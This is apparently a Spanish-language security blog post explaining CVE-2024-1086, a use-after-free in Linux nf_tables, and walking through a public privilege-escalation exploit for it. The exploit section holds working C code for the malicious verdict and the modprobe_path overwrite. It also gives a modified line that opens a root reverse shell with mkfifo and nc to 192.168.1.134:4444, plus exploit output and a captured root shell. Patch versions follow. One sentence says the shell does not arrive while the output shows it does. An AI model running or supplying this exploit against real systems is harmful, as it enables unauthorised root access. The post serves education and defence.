CVE-2024-1086: escalado de privilegios explotando Linux nf_tables

El 30 de mayo de 2024, la Agencia de Seguridad de Infraestructura y Ciberseguridad de EE.UU. (CISA) agregó una nueva vulnerabilidad a su catálogo: la CVE-2024-1086. Esta es una vulnerabilidad de tipo use-after-free en el kernel de Linux, que puede ser explotada para lograr una escalado de privilegios local. En este artículo, exploraremos en detalle cómo funciona esta vulnerabilidad, cómo se puede explotar y qué medidas defensivas se pueden tomar.

Descripción de la Vulnerabilidad

La vulnerabilidad CVE-2024-1086 se encuentra en el componente netfilter: nf_tables del kernel de Linux

Aunque seguro que ya conocéis estos términos:

  • El use-after-free ocurre cuando una aplicación sigue utilizando un espacio de memoria después de que ha sido liberado, lo que puede llevar a fallos críticos en el sistema, comportamientos erróneos del programa, caídas del sistema e incluso la ejecución de código malicioso.
  • El sistema nf_tables es un subsistema en el stack de red del kernel de Linux, sucesor de la herramienta iptables, que maneja el filtrado de paquetes, NAT y otras manipulaciones de paquetes en el kernel. nf_tables proporciona una infraestructura para el filtrado de paquetes IPv4/IPv6 y otras características directamente en el kernel.

Explotación de la Vulnerabilidad

La explotación de esta vulnerabilidad se basa en la falta de saneamiento de entradas en los veredictos de netfilter. Para explotar con éxito este fallo, deben cumplirse dos condiciones: nf_tables debe estar habilitado y los espacios de usuario no privilegiados también deben estar habilitados.

Este exploit opera únicamente sobre datos e implementa un ataque de espejo en espacio de kernel (KSMA - Kernel-Space Mirroring Attack) desde el espacio de usuario, utilizando una técnica conocida como método de directorio de páginas sucias (Dirty Pagedirectory). Esta técnica vincula cualquier dirección física, junto con sus permisos, a direcciones de memoria virtual mediante operaciones de lectura/escritura solo en direcciones de espacio de usuario.

La parte crucial de la vulnerabilidad proviene de la creación de un objeto veredicto para un hook de netfilter, que puede ser realizado por el usuario. 

El kernel de Linux permite errores positivos de eliminación (positive drop errors), lo que significa que un atacante puede manipular un escenario para lograr el camino de código de esta vulnerabilidad donde un hook nf_table registrado es implementado por un atacante. La función interna del kernel nf_hook_slow() liberaría un objeto skb cuando se retorna un NF_DROP de un hook o regla, pero luego también retorna NF_ACCEPT como si cada hook/regla en la cadena hubiera retornado NF_ACCEPT y no una vez NF_DROP.

Esto significa que nf_hook_slow() malinterpretará la situación y continuará analizando el paquete incluso si se ha retornado un NF_DROP y un objeto skb ya ha sido liberado. Esto eventualmente lleva a una doble liberación (double free).

La doble liberación impacta tanto a los objetos sk_buff en la caché de slab skbuff_head_cache, como a un objeto sk_buff->head de tamaño dinámico que se crea directamente a partir de un paquete ipv4. El objeto sk_buff->head se asigna a través de kmalloc(), lo que significa que el atacante puede crear un objeto de un tamaño predeterminado a través del paquete de red que envían, ya que ese tamaño se usa para asignar memoria en el heap a través de kmalloc().

Si aún quieres entenderlo mucho mejor te recomiendo que te des una vuelta por la siguiente entrada: https://pwning.tech/nftables/

Método de Explotación

Existen varios métodos para explotar esta vulnerabilidad, pero en este post explotaremos concretamente el de Lau aka @notselwyn cuya PoC podéis encontrar en el siguiente repo:

https://github.com/Notselwyn/CVE-2024-1086

Condiciones necesarias:

  1. Namespaces no privilegiados: Las opciones de espacios de nombres de usuarios no privilegiados deben estar configuradas para que se pueda acceder a nf_tables. Esto está configurado por defecto en distribuciones principales como Ubuntu, Debian, etc.
  2. Hooks nf_tables: Un veredicto preciso debe ser configurado por el atacante. Un veredicto es una decisión añadida al conjunto de reglas de Netfilter para determinar si un paquete entrante pasará el firewall. NF_DROP significa que dejará caer el paquete y detendrá su procesamiento, NF_ACCEPT significa que el paquete será aceptado y continuará su procesamiento.
  3. Allocations: El código necesitará asignar algunos objetos para evitar que el asignador interrumpa cualquier proceso de asignación más adelante, ya que se asignan varias ubicaciones de memoria.

El siguiente código muestra cómo se establece un hook nf_table:

static struct nftnl_rule *alloc_rule(unsigned char family, const char *table, const char *chain, unsigned char proto)
{
	struct nftnl_rule *r = NULL;

	r = nftnl_rule_alloc();
	if (r == NULL) {
		perror("rule alloc");
		exit(EXIT_FAILURE);
	}

	nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
	nftnl_rule_set(r, NFTNL_RULE_TABLE, table);
	nftnl_rule_set(r, NFTNL_RULE_CHAIN, chain);

	// expect protocol to be `proto`
	add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, offsetof(struct iphdr, protocol), sizeof(unsigned char));
	add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(unsigned char));

	// expect 4 first bytes of packet to be \x41
    add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, sizeof(struct iphdr), 4);
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, "\x41\x41\x41\x41", 4);

	// (NF_DROP | -((0xFFFF << 16) >> 16)) == 1, aka NF_ACCEPT (trigger double free)
	// (NF_DROP | -((0xFFF0 << 16) >> 16)) == 16
	add_set_verdict(r, (unsigned int)(0xFFFF0000));

	return r;
}

Pasos para la explotación:

  1. Paquetes UDP: El código enviará paquetes UDP a sí mismo, y los objetos necesarios permanecerán en memoria hasta que se ejecute la función recv(). Esto causará la primera doble liberación referenciada en el hook nf_tables mencionado anteriormente.
  2. Cola de fragmentos IP: El paquete contiene la flag IP_MF en el campo de desplazamiento del encabezado IP. Esto lo forzará a una cola de fragmentos IP, lo que significa que puedes liberar el skb más tarde a voluntad.
  3. Liberar paquetes UDP: Ahora puedes liberar todos los paquetes UDP que se enviaron anteriormente.
  4. Rociar PTEs: Intentar asignar entradas de tabla de páginas (PTEs) en la entrada de página que estaba libre cuando ocurrió la primera doble liberación.
  5. Disparar segunda doble liberación: Enviar otro paquete UDP con valores específicos de encabezado IP para causar la próxima liberación en el skb.
  6. Asignar el PMD: Debido a que la sección rociada de PTEs ha sido reasignada en la primera ubicación de doble liberación, no hay dos punteros al mismo espacio liberado en la FreeList. Por lo tanto, el código asigna un directorio de página media (PMD) para superponer las PTEs y luego verifica qué PTE se encuentra dentro del área del PMD.
  7. Encontrar dirección base del kernel: Usando varias firmas del kernel, escanear el espacio de memoria del kernel para encontrar la dirección base del módulo del kernel.
  8. Sobrescribir modprobe_path: Una vez encontrada la base del kernel, se puede encontrar la ubicación de /sbin/modprobe y, eventualmente, la ubicación de modprobe_path. Sobrescribir esto con el PID del proceso actual y ejecutar el módulo modprobe.

El siguiente código muestra dónde se actualiza y ejecuta modprobe_path:

printf("[*] overwriting path with PIDs in range 0->4194304...\n");
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
{
	int status_cnt;
	char buf;

	// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
	// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
	// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
	MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);

	if (pid_guess % 50 == 0)
	{
		PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
		PRINTF_VERBOSE("    - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
		PRINTF_VERBOSE("    - matching modprobe_path scan var: '%s' @ %p)...\n", modprobe_path, modprobe_path);
	}
						
	lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
	dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);

	// run custom modprobe file as root, by triggering it by executing file with unknown binfmt
	// if the PID is incorrect, nothing will happen
	modprobe_trigger_memfd();

	// indicates correct PID (and root shell). stops further bruteforcing
	status_cnt = read(status_fd, &buf, 1);
	if (status_cnt == 0)
		continue;

	printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);

	return;
}

Por ejemplo, para abrir una shell inversa con root, puedes actualizar la línea dprintf a:

dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\nmkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.134 4444 > /tmp/f; rm /tmp/f\n", pid_guess, status_fd);

Ejecutamos el exploit:

$ ./exploit

[*] creating user namespace (CLONE_NEWUSER)...

[*] creating network namespace (CLONE_NEWNET)...

[*] setting up UID namespace...

[*] configuring localhost in namespace...

[*] setting up nftables...

[+] running normal privesc

[*] waiting for the calm before the storm...

[*] sending double free buffer packet...

[*] spraying 16000 pte's...

[*] checking 16000 sprayed pte's for overlap...

[+] confirmed double alloc PMD/PTE

[+] found possible physical kernel base: 0000000010000000

[+] verified modprobe_path/usermodehelper_path: 000000001228bba0 ('/sanitycheck')...

[*] overwriting path with PIDs in range 0->4194304...

y vemos que no llega la sesión reversa como root:

──(kali㉿cve-2024-1086)-[~/CVE-2024-1086-main]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.1.134] from (UNKNOWN) [192.168.1.18] 52982
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

Defensa contra esta vulnerabilidad

Se ha emitido un parche para esta vulnerabilidad y se recomienda descargarlo lo antes posible. El enlace al parche está disponible a través de Git Kernel. Las versiones específicas para las principales distribuciones de Linux incluyen:

  • Debian:
    • Versión del kernel: 6.1.76-1
  • Ubuntu:
    • Ubuntu 18.04: 4.15.0-223.235
    • Ubuntu 20.04: 5.4.0-174.193
    • Ubuntu 22.04: 5.15.0-101.111
    • Ubuntu 23.10: 6.5.0-26.26
  • Red Hat y distros basadas en Red Hat:
    • RHEL 7: 3.10.0-1062.4.1.el7
    • RHEL 8: 4.18.0-147.el8
    • RHEL 9: 5.14.0-362.24.2.el9_3
Referencias:

Comentarios